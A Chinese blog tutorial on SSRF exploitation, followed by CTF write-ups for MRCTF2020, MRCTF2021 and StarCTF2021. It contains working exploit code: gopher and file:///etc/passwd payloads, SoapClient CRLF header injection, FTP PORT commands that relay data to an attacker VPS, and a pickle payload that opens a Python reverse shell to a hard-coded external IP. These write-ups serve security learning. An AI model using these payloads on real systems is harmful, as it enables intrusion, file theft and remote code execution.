百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术文章 > 正文

漏洞系列一一看我一招征服漏洞 SSRF

zhezhongyun 2025-01-02 20:22 528 浏览

SSRF简介

SSRF(Server-Side Request Forgery:服务器端请求伪造是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

如图是一个简单的SSRF


源码如下

<?php
function curl($url){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_exec($ch);
    curl_close($ch);
}
$url = $_GET['url'];
curl($url);

利用协议

file/local_file

利用file文件可以直接读取本地文件内容,如下

file:///etc/passwd
local_file:///etc/passwd

local_file与之类似,常用于绕过

dict

dict协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源。通过使用dict协议可以获取目标服务器端口上运行的服务版本等信息。

如请求

dict://192.168.163.1:3306/info

可以获取目标主机的3306端口上运行着mariadb

Gopher

Gopher是基于TCP经典的SSRF跳板协议了,原理如下

gopher://127.0.0.1:70/_ + TCP/IP数据(URLENCODE)

其中_可以是任意字符,作为连接符占位

一个示例

GET /?test=123 HTTP/1.1
Host: 127.0.0.1:2222
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

URL编码后

%47%45%54%20%2f%3f%74%65%73%74%3d%31%32%33%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%3a%32%32%32%32%0d%0a%50%72%61%67%6d%61%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%43%61%63%68%65%2d%43%6f%6e%74%72%6f%6c%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%44%4e%54%3a%20%31%0d%0a%55%70%67%72%61%64%65%2d%49%6e%73%65%63%75%72%65%2d%52%65%71%75%65%73%74%73%3a%20%31%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%4d%6f%7a%69%6c%6c%61%2f%35%2e%30%20%28%57%69%6e%64%6f%77%73%20%4e%54%20%31%30%2e%30%3b%20%57%69%6e%36%34%3b%20%78%36%34%29%20%41%70%70%6c%65%57%65%62%4b%69%74%2f%35%33%37%2e%33%36%20%28%4b%48%54%4d%4c%2c%20%6c%69%6b%65%20%47%65%63%6b%6f%29%20%43%68%72%6f%6d%65%2f%38%33%2e%30%2e%34%31%30%33%2e%36%31%20%53%61%66%61%72%69%2f%35%33%37%2e%33%36%0d%0a%41%63%63%65%70%74%3a%20%74%65%78%74%2f%68%74%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%68%74%6d%6c%2b%78%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%6d%6c%3b%71%3d%30%2e%39%2c%69%6d%61%67%65%2f%77%65%62%70%2c%69%6d%61%67%65%2f%61%70%6e%67%2c%2a%2f%2a%3b%71%3d%30%2e%38%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%69%67%6e%65%64%2d%65%78%63%68%61%6e%67%65%3b%76%3d%62%33%3b%71%3d%30%2e%39%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%2d%4c%61%6e%67%75%61%67%65%3a%20%7a%68%2d%43%4e%2c%7a%68%3b%71%3d%30%2e%39%2c%65%6e%2d%55%53%3b%71%3d%30%2e%38%2c%65%6e%3b%71%3d%30%2e%37%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%0d%0a

测试

curl gopher://127.0.0.1:2222/_%47%45%54%20%2f%3f%74%65%73%74%3d%31%32%33%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%3a%32%32%32%32%0d%0a%50%72%61%67%6d%61%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%43%61%63%68%65%2d%43%6f%6e%74%72%6f%6c%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%44%4e%54%3a%20%31%0d%0a%55%70%67%72%61%64%65%2d%49%6e%73%65%63%75%72%65%2d%52%65%71%75%65%73%74%73%3a%20%31%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%4d%6f%7a%69%6c%6c%61%2f%35%2e%30%20%28%57%69%6e%64%6f%77%73%20%4e%54%20%31%30%2e%30%3b%20%57%69%6e%36%34%3b%20%78%36%34%29%20%41%70%70%6c%65%57%65%62%4b%69%74%2f%35%33%37%2e%33%36%20%28%4b%48%54%4d%4c%2c%20%6c%69%6b%65%20%47%65%63%6b%6f%29%20%43%68%72%6f%6d%65%2f%38%33%2e%30%2e%34%31%30%33%2e%36%31%20%53%61%66%61%72%69%2f%35%33%37%2e%33%36%0d%0a%41%63%63%65%70%74%3a%20%74%65%78%74%2f%68%74%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%68%74%6d%6c%2b%78%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%6d%6c%3b%71%3d%30%2e%39%2c%69%6d%61%67%65%2f%77%65%62%70%2c%69%6d%61%67%65%2f%61%70%6e%67%2c%2a%2f%2a%3b%71%3d%30%2e%38%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%69%67%6e%65%64%2d%65%78%63%68%61%6e%67%65%3b%76%3d%62%33%3b%71%3d%30%2e%39%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%2d%4c%61%6e%67%75%61%67%65%3a%20%7a%68%2d%43%4e%2c%7a%68%3b%71%3d%30%2e%39%2c%65%6e%2d%55%53%3b%71%3d%30%2e%38%2c%65%6e%3b%71%3d%30%2e%37%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%0d%0a
->
HTTP/1.1 200 OK
Host: 127.0.0.1:2222
Date: Tue, 26 May 2020 03:53:05 GMT
Connection: close
X-Powered-By: PHP/7.3.15-3
Content-type: text/html; charset=UTF-8

123

所以在SSRF时利用gopher协议我们就可以构造任意TCP数据包发向内网了

利用CRLF

在HTTP的TCP包中,HTTP头是以回车符(CR,ASCII 13,\r,%0d) 和换行符(LF,ASCII 10,\n,%0a)进行分割的。

下图是一个示例:

如果我们能在输入的url中注入\r\n,就可以对HTTP Headers进行修改从而控制发出的HTTP的报文内容

比如下图


USER anonymous等就是通过CRLF注入插入的伪HTTP Header

PHP中利用Soap Client原生类

SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。

其采用HTTP作为底层通讯协议,XML作为数据传送的格式。

在PHP中该类的构造函数如下:

public SoapClient :: SoapClient (mixed $wsdl [,array $options ])

第一个参数是用来指明是否是wsdl模式。

第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。具体可以设置的参数可见官方文档

其中提供了一个接口

The user_agent option specifies string to use in User-Agent header.

此处本意是注入User_Agent HTTP请求头,但是此处存在CRLF注入漏洞,因此我们在此处可以完全控制HTTP请求头

利用脚本如下

<?
$headers = array(//要注入的header
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=m6o9n632iub7u2vdv0pepcrbj2'
);
$a = new SoapClient(null,array('location' => $target,
                                'user_agent'=>"eki\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,
                                'uri'      => "aaab"));

利用FTP作为跳板

FTP是基于TCP的在计算机网络上在客户端和服务器之间进行文件传输的应用层协议


通过FTP传输的流量不会被加密,所有传输都是通过明文进行的,这点方便我们对的数据包进行编辑。

FTP协议中命令也是通过\r\n分割的 同时FTP会忽略不支持的命令并继续处理下一条命令,所以我们可以直接使用HTTP作为FTP包的载荷

同时通过使用PORT命令打开FTP主动模式,可以实现TCP流量代理转发的效果

# STEP 1 向FTP服务传TCP包
TYPE I
PORT vpsip,0,port
STOR tcp.bin

# STEP 2 让FTP服务向内网发TCP包

TYPE I
PORT 172,20,0,5,105,137
RETR tcp.bin

DNS Rebinding

针对SSRF,有一种经典的拦截方式

  1. 获取到输入的URL,从该URL中提取host
  2. 对该host进行DNS解析,获取到解析的IP
  3. 检测该IP是否是合法的,比如是否是私有IP等
  4. 如果IP检测为合法的,则进入curl的阶段发包

第三步对IP进行了检测,避免了内网SSRF

然而不难发现此处对HOST进行了两次解析,一次是在第二步检测IP,第二次是在第四步发包。那么我们很容易有以下绕过思路

控制一个域名xxx.xxx,第一次DNS解析,xxx.xxx指向正常的ip,防止被拦截

第二次DNS解析,xxx.xxx指向127.0.0.1(或其他内网地址),在第四步中curl向第二次解析得到对应的内网地址发包实现绕过

这个过程已经有了较为完善的利用工具

例题

主要分析题目中的SSRF部分
MRCTF2020 Ezpop Revenge

目标是访问/flag.php 但限制了访问请求的来源ip必须为127.0.0.1也就是本地访问

<?php
if(!isset($_SESSION)) session_start();
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
   $_SESSION['flag']= "MRCTF{Cr4zy_P0p_4nd_RCE}";
}else echo "我扌your problem?\nonly localhost can get flag!";
?>

此题的前半部分在于typecho pop链的构造此处就不过多赘述,直接上Exp

<?php
class HelloWorld_DB{
    private $flag="MRCTF{this_is_a_fake_flag}";
    private $coincidence;
    function __construct($coincidence){
        $this->coincidence = $coincidence;
    }
    function  __wakeup(){
        $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
    }
}
class Typecho_Request{
    private $_params;
    private $_filter;
    function __construct($params,$filter){
        $this->_params=$params;
        $this->_filter=$filter;
    }
}
class Typecho_Feed{
    private $_type = 'ATOM 1.0';
    private $_charset = 'UTF-8';
    private $_lang = 'zh';
    private $_items = array();
    public function addItem(array $item){
        $this->_items[] = $item;
    }
}

$target = "http://127.0.0.1/flag.php";
$post_string = '';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=m6o9n632iub7u2vdv0pepcrbj2'
);

$a = new SoapClient(null,array('location' => $target,
                                'user_agent'=>"eki\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,
                                'uri'      => "aaab"));

$payload1 = new Typecho_Request(array('screenName'=>array($a,"233")),array('call_user_func'));
$payload2 = new Typecho_Feed();
$payload2->addItem(array('author' => $payload1));
$exp1 = array('hello' => $payload2, 'world' => 'typecho');
$exp = new HelloWorld_DB($exp1);
echo serialize($exp)."\n";
echo urlencode(base64_encode(serialize($exp)));

其中$a为SOAP载荷,call_user_func()对SOAP对象进行了主动调用从而触发了请求。

这里关键是使用了PHP的SoapClient进行了一个SSRF

<?php
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=m6o9n632iub7u2vdv0pepcrbj2'
);
$a = new SoapClient(null,array('location' => $target,
                                'user_agent'=>"eki\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,
                                'uri'      => "aaab"));

通过CRLF注入PHPSESSION 然后访问/flag.php php将flag放入session中,我们再带着这个SESSION去访问对应网页就能获取到存储的flag了

MRCTF2021 half nosqli

这个题的前半部分在于Mongodb永真式万能密码绕过,后半部分就是SSRF

首先可以打到自己vps上看看效果
headers = {
    "Accept":"*/*",
    "Authorization":"Bearer "+token,
}

url_payload = "http://buptmerak.cn:2333"


json = {
    "url":url_payload
}

req = r.post(url+"home",headers=headers,json=json)

print(req.text)

发现发送了HTTP的请求包

经过尝试该题目中存在Nodejs曾爆出的一个SSRF漏洞,即Unicode拆分攻击,可以进行CRLF注入

利用原理如下

在Node.js尝试发出一个路径中含有控制字符的HTTP请求,它们会被URL编码。

而当Node.js版本8或更低版本对此URL发出GET请求时,\u{ff0a}\u{ff0d}不会进行转义,因为它们不是HTTP控制字符:

但是当结果字符串被默认编码为latin1写入路径时,这些字符将分别被截断为\x0a\x0d也即\r\n 从而实现了CRLF注入

headers = {
    "Accept":"*/*",
    "Authorization":"Bearer "+token,
}

url_payload = "http://buptmerak.cn:2333/"

payload ='''
USER anonymous
PASS admin888
CWD files
TYPE I
PORT vpsip,0,1890
RETR flag
'''.replace("\n","\r\n")

def payload_encode(raw):
    ret = u""
    for i in raw:
        ret += chr(0xff00+ord(i))
    return ret
#url_payload = url_payload + payload.replace("\n","\uff0d\uff0a")

#url_payload = url_payload + payload.replace(" ","\uff20").replace("\n","\uff0d\uff0a")

url_payload = url_payload + payload_encode(payload)

print(url_payload)

json = {
    "url":url_payload
}

req = r.post(url+"home",headers=headers,json=json)

print(req.text)

可以看到发回的包


已经实现了CRLF的注入,这里的payload也就是我们最终构造的FTP请求包,通过这个请求包,可以使FTP主动向我们的服务器发送上面的文件

USER anonymous 以匿名模式登录
PASS 随意
CWD 切换文件夹
TYPE I 以binary格式传输
PORT vpsip,0,1890 打开FTP主动模式
RETR 向对应ip:port 发送文件

在vps上开一个监听端口,就能监听到发来的文件了

headers = {
    "Accept":"*/*",
    "Authorization":"Bearer "+token,
}

url_payload = "http://ftp:8899/" #题目附件中docker-compose.yml中泄露的内网主机名

payload ='''
USER anonymous
PASS admin888
CWD files
TYPE I
PORT vpsip,0,1890
RETR flag
'''.replace("\n","\r\n")



def payload_encode(raw):
    ret = u""
    for i in raw:
        ret += chr(0xff00+ord(i))
    return ret
#url_payload = url_payload + payload.replace("\n","\uff0d\uff0a")

#url_payload = url_payload + payload.replace(" ","\uff20").replace("\n","\uff0d\uff0a")

url_payload = url_payload + payload_encode(payload)

print(url_payload)

json = {
    "url":url_payload
}

req = r.post(url+"home",headers=headers,json=json)

print(req.text)

StarCTF2021 oh-my-bet

题目在获取头像地址处存在ssrf

def get_avatar(username):

    dirpath = os.path.dirname(__file__)
    user = User.query.filter_by(username=username).first()

    avatar = user.avatar
    if re.match('.+:.+', avatar):
        path = avatar
    else:
        path = '/'.join(['file:/', dirpath, 'static', 'img', 'avatar', avatar])
    try:
        content = base64.b64encode(urllib.request.urlopen(path).read())
    except Exception as e:
        error_path = '/'.join(['file:/', dirpath, 'static', 'img', 'avatar', 'error.png'])
        content = base64.b64encode(urllib.request.urlopen(error_path).read())
        print(e)

    return content
import urllib.parse
import requests
import re
import base64
import time

url = "http://localhost:8088/login"

def read_file(filename):
    name = "eki"+str(time.time())
    avatar = filename
    data = {
        "username":name,
        "password":"322",
        "avatar":avatar,
        "submit":"Go!",
    }
    res = requests.post(url,data=data)

    txt = res.text
    find = re.findall("<img src.*>",txt)

    if len(find) != 0:
        with open("out",'wb') as f:
            st = base64.b64decode(find[0][32:-47])
            f.write(st)
            if len(st) == 4611:
                print("{} not exists!".format(filename))
            else:
                print("Success!->out")
    else:
        print("Error")
        print(res.text)

read_file("file:///app/app.py")

并且该版本的urllib.request.urlopen(path)存在CRLF注入漏洞

分析题目给出的源码,我们能得到最终的解题思路是

向FTP传输恶意流量包并存储->FTP向Mongodb发送恶意流量包插入恶意Session->Session Pickle 反序列化反弹shell
生成恶意mongdb流量包

生成恶意pickle序列化串

import pickle
import base64
import os

class RCE:
    def __reduce__(self):
        cmd = ("""python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("81.70.154.76",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'""")
        return os.system, (cmd,)

if __name__ == '__main__':
    pickled = pickle.dumps(RCE())
    print(base64.urlsafe_b64encode(pickled))
    open("exploit.b64", "w").write(base64.urlsafe_b64encode(pickled).decode())

生成Mongodb的BSON数据

const BSON = require('bson');
const fs = require('fs');

// Serialize a document
const doc = {insert: "sessions", $db: "admin", documents: [{
    "id": "session:e51fca6f-1248-450c-8961-b5d1a1aaaaaa",
    "val": Buffer.from(fs.readFileSync("exploit.b64").toString(), "base64"),
    "expiration": new Date("2025-02-17")
}]};
const data = BSON.serialize(doc);

let beginning = Buffer.from("5D0000000000000000000000DD0700000000000000", "hex");
let full = Buffer.concat([beginning, data]);

full.writeUInt32LE(full.length, 0);
fs.writeFileSync("bson.bin", full);

攻击流程

上传到内网FTP服务器

payload = '''
TYPE I
PORT vpsip,78,32
STOR bson.bin
'''

exp = 'http://172.20.0.2:8877/'

exp += urllib.parse.quote(payload.replace('\n', '\r\n'))

read_file(exp)

vps打开文件发送

import socket

HOST = '0.0.0.0'  
PORT = 20000        
blocksize = 4096
fp = open('bson.bin', 'rb')
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((HOST, PORT))
    print('start listen...')
    s.listen()
    conn, addr = s.accept()
    with conn:
        while 1:
            buf = fp.read(blocksize)
            if not buf:
                fp.close()
                break
            conn.sendall(buf)
    print('end.')

内网FTP向Mongodb发送构造恶意数据包

payload = '''
TYPE I
PORT 172,20,0,5,105,137
RETR bson.bin
'''

exp = 'http://172.20.0.2:8877/'

exp += urllib.parse.quote(payload.replace('\n', '\r\n'))

read_file(exp)

最终触发

import requests

url = "http://localhost:8088/"

cookie = {
    "session":"e51fca6f-1148-450c-8961-b5d1aaaaaaaa"
}

req = requests.get(url,cookie=cookie)

相关推荐

Go语言标准库中5个被低估的强大package

在Go语言的世界里,开发者们往往对fmt、net/http这些“明星包”耳熟能详,却忽略了标准库里藏着的一批“宝藏工具”。它们功能强大却低调内敛,能解决并发控制、内存优化、日志管理等核心问题。今天就带...

作为测试人,如何优雅地查看Log日志?

作为一名测试工程师,测试工作中和Linux打交道的地方有很多。比如查看日志、定位Bug、修改文件、部署环境等。项目部署在Linux上,如果某个功能发生错误,就需要我们去排查出错的原因,所以熟练地掌握查...

Java 从底层与接口实现了解String、StringBuffer、StringBuilder

String、StringBuffer和StringBuilder的接口实现关系:String:字符串常量,字符串长度不可变。Java中String是immutable(不可变)的。用于存放字符...

FluentData 从入门到精通:C#.NET 数据访问最佳实践

简介FluentData是一个微型ORM(micro-ORM),主打「FluentAPI」风格,让开发者在保持对原生SQL完全控制的同时,享受链式调用的便捷性。它与Dapper、Massi...

团队协作-代码格式化工具clang-format

环境:clang-format:10.0.0前言统一的代码规范对于整个团队来说十分重要,通过git/svn在提交前进行统一的ClangFormat格式化,可以有效避免由于人工操作带来的代码格式问题。C...

C# 数据操作系列 - 15 SqlSugar 增删改查详解(超长篇)

0.前言继上一篇,以及上上篇,我们对SqlSugar有了一个大概的认识,但是这并不完美,因为那些都是理论知识,无法描述我们工程开发中实际情况。而这一篇,将带领小伙伴们一起试着写一个能在工程中使用的模...

Mac OS 下 Unix 使用最多的100条命令(收藏级)

MacOS内置基于Unix的强大终端(Terminal),对开发者、运维工程师和日常用户来说,掌握常用的Unix命令是提升效率的关键。本文整理了100条在MacOS下最常用的U...

C语言字符串操作总结大全(超详细)

C语言字符串操作总结大全(超详细)1)字符串操作strcpy(p,p1)复制字符串strncpy(p,p1,n)复制指定长度字符串strcat(p,p1)附加字符串strncat...

经常使用到开源的MySQL,今天我们就来系统地认识一下

作为程序员,我们在项目中会使用到许多种类的数据库,根据业务类型、并发量和数据要求等选择不同类型的数据库,比如MySQL、Oracle、SQLServer、SQLite、MongoDB和Redis等。今...

电脑蓝屏代码大全_电脑蓝屏代码大全及解决方案

0X0000000操作完成0X0000001不正确的函数0X0000002系统找不到指定的文件0X0000003系统找不到指定的路径0X0000004系统无法打开文件0X0000005拒绝...

8个增强PHP程序安全的函数_php性能优化及安全策略

安全是编程非常重要的一个方面。在任何一种编程语言中,都提供了许多的函数或者模块来确保程序的安全性。在现代网站应用中,经常要获取来自世界各地用户的输入,但是,我们都知道“永远不能相信那些用户输入的数据”...

css优化都有哪些优化方案_css性能优化技巧

CSS优化其实可以分成几个层面:性能优化、可维护性优化、兼容性优化以及用户体验优化。这里我帮你梳理一份比较系统的CSS优化方案清单,方便你参考:一、加载性能优化减少CSS文件体积压缩CSS...

筹划20年,他终于拍成了这部电影_筹划20年,他终于拍成了这部电影英语

如果提名好莱坞最难搞影星,你第一时间会联想到谁?是坏脾气的西恩·潘,还是曾因吸毒锒铛入狱的小罗伯特·唐尼,亦或是沉迷酒精影响工作的罗素·克劳?上述大咖,往往都有着这样或那样的瑕疵。可即便如此,却都仍旧...

Keycloak Servlet Filter Adapter使用

KeycloakClientAdapters简介Keycloakclientadaptersarelibrariesthatmakeitveryeasytosecurea...

一些常用的linux常用的命令_linux常用命令有哪些?

在Linux的世界里,命令是与系统交互的基础。掌握常用命令不仅能让你高效地管理文件、进程和网络,还能为你进一步学习系统管理和自动化打下坚实的基础。本文将深入探讨一些最常用且功能强大的Linux...